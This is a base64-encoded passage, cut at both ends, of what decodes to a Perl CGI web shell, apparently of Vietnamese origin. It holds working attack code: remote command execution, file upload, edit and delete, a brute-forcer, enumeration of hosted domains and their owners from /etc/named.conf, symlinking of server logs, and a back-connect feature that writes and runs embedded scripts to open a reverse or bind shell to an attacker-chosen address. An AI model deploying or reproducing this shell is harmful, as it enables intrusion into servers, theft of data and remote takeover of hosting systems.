ZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKew